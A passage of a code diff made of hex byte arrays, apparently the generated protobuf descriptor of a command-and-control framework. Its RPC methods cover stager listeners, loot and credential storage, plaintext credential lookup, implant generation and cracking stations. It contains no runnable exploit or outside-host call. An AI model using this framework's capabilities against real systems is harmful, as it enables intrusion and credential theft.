0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x43, 0x0a, 0x10, + 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x47, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, + 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, + 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x12, 0x50, 0x0a, 0x17, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, + 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, - 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, - 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, - 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, - 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, - 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, - 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, - 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, - 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, + 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, + 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, + 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, + 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, + 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, - 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, + 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, + 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, + 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, - 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, - 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, + 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, + 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, - 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, - 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, - 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, - 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, + 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, + 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, + 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, + 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, - 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, - 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, - 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, - 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, - 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, - 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, - 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, - 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, + 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, + 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, + 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, + 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, + 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x5c, 0x0a, 0x20, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, - 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x1f, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, - 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x37, - 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, - 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, - 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, - 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, - 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, - 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, + 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 